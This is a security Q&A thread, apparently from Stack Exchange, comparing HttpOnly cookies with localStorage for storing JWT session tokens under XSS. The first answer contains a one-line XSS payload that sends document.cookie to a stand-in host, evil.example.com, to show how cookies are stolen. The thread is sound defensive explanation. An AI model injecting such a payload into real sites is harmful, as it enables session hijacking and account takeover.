14

This article discusses storing session tokens in a cookie vs in localStorage: https://stormpath.com/blog/where-to-store-your-jwts-cookies-vs-html5-web-storage/

The article states:

Cookies, when used with the HttpOnly cookie flag, are not accessible through JavaScript, and are immune to XSS.

However, if an injected script makes same-origin requests (e.g. API calls), the cookies get included with it. So it doesn't matter if JavaScript doesn't have access to it.

The end of the article states:

Stormpath recommends that you store your JWT in cookies for web applications... HTML5 Web Storage is vulnerable to XSS...

Aren't cookies and localStorage both vulnerable to XSS? With cookies, the attacker can't fetch the cookie and store it, but that's not necessary anyway if you can authenticate using the cookie.

paj28
  • 32,736
  • 8
  • 92
  • 130
Leo Jiang
  • 283
  • 2
  • 7
  • 1
    If you have an xss vulnerability on your site, you don't need to worry about csrf – Neil McGuigan Mar 09 '16 at 19:27
  • 1
    So localstorage isn't less secure than http-only cookies? If there's a XSS vulnerability, I'd imagine the attacker can do much more harm than steal credentials (assuming I don't run a sensitive site). – Leo Jiang Mar 09 '16 at 19:45
  • 3
    I'm thoroughly confused by where to store session information as well. A good article about the positives: http://blog.portswigger.net/2016/05/web-storage-lesser-evil-for-session.html. A good article about the negatives: http://cryto.net/~joepie91/blog/2016/06/13/stop-using-jwt-for-sessions/ And then there is the stormpath article you referenced and their competitor Auth0 https://auth0.com/blog/cookies-vs-tokens-definitive-guide/ – shusson Oct 14 '16 at 04:08
  • 1
    With the HttpOnly flag, the XSS attack can only make requests while the exploited browser tab is open. Without it, they can steal the cookie and make requests until the session expires - and they can keep making requests to avoid an inactivity timeout. – paj28 Dec 20 '16 at 07:52
  • @paj28 If they are going as far making HTML requests, why not make a popup that requests the user's creds. If successful (which I bet it would be in the majority of cases), it doesn't matter about the HttpOnly flag. – SILENT Apr 16 '21 at 19:37

2 Answers2

9

If there are non HttpOnly cookies present, and attacker could steal them using XSS similar to the following

<script>new Image().src='https://evil.example.com?+escape(document.cookie)'</script>

This is the most devastating attack if session tokens are not protected by the HttpOnly flag because the attacker can simply set the cookie in their browser to log in as the victim.

If the HttpOnly flag is set, yes they can still make AJAX requests using their injected script, however this is more tricky to accomplish and doesn't give the attacker full interactive control of the hijacked session.

XSS is always a greater threat than CSRF. Even with HttpOnly cookies, the attacker could display a login form which sends credentials to the attacker once submitted. Also, any forms that require a CSRF token can simply be retrieved by the XSS attack.

SilverlightFox
  • 33,408
  • 6
  • 67
  • 178
  • 1
    how do you attribute consequence to the type of attack? I don't see how either XSS or CSRF is more devastating if they both lead to the same data loss or intrusion. Maybe one leads to a quicker breach, but in that case are we not talking about a difference of minutes if not hours? – shusson Oct 14 '16 at 04:04
  • @shusson: XSS lets you exfiltrate data from the app (say, read a user's account details, which would most obviously be bad for banking or health apps but applies elsewhere too), while CSRF doesn't allow that (by itself; you might be able to chain exploits including CSRF to get it). In that sense, XSS is worse than CSRF. However, both should be considered serious security flaws that usually amount to total account compromise. – CBHacking Dec 19 '16 at 20:08
5

HttpOnly cookies can be used by an attacker, in the sense that the XSS could cause the victim's browser to send requests and those requests would have cookies, but the values of those cookies are invisible to the attacker. The attacker is operating blind as to the value of those cookies.

By contrast, local storage is (by design) readable by JavaScript. It's not automatically included with requests, the way cookies are, but unlike cookies it's impossible to hide local storage data from an attacker using an XSS exploit.

When to use each depends on the data you're storing, and on your threat model. If the data you're storing is inherently sensitive - something like a social security number - then it shouldn't be stored in the client at all but if you absolutely must do so, use an HttpOnly and Secure cookie. If the data is something like a randomly-generated authentication token that stores no actual user data, then you should store it in a cookie to protect it from exposure in the case of XSS, but you need really good CSRF protection as well (note that XSS will allow the attacker to bypass CSRF protection, so it's still essential to also prevent XSS even though the attacker can't steal the cookie value). If it's a lot of data, or data that is only needed on the client, or data that the server only needs occasionally, it makes sense to put it in local storage.

CBHacking
  • 40,303
  • 3
  • 74
  • 98